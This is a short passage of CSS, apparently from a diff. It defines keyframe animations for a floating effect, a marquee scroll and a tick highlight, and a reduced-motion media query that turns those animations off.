{ transform: translateY(0); } 50% { transform: translateY(-8px); } } +@keyframes nx-marquee { to { transform: translateX(calc(-50% - 28px)); } } +@keyframes nx-tick { 0% { color: rgb(var(--a1)); text-shadow: 0 0 12px rgb(var(--a1) / 0.8); } } +@media (prefers-reduced-motion: reduce) { + .nx-aurora i, .nx-rise, .nx-panel::before, .nx-track, .nx-announce .dot, .nx-live i, .nx-tick { animation: none !important; } + .nx-motion .nx-in { transform: none; transition: none; } +}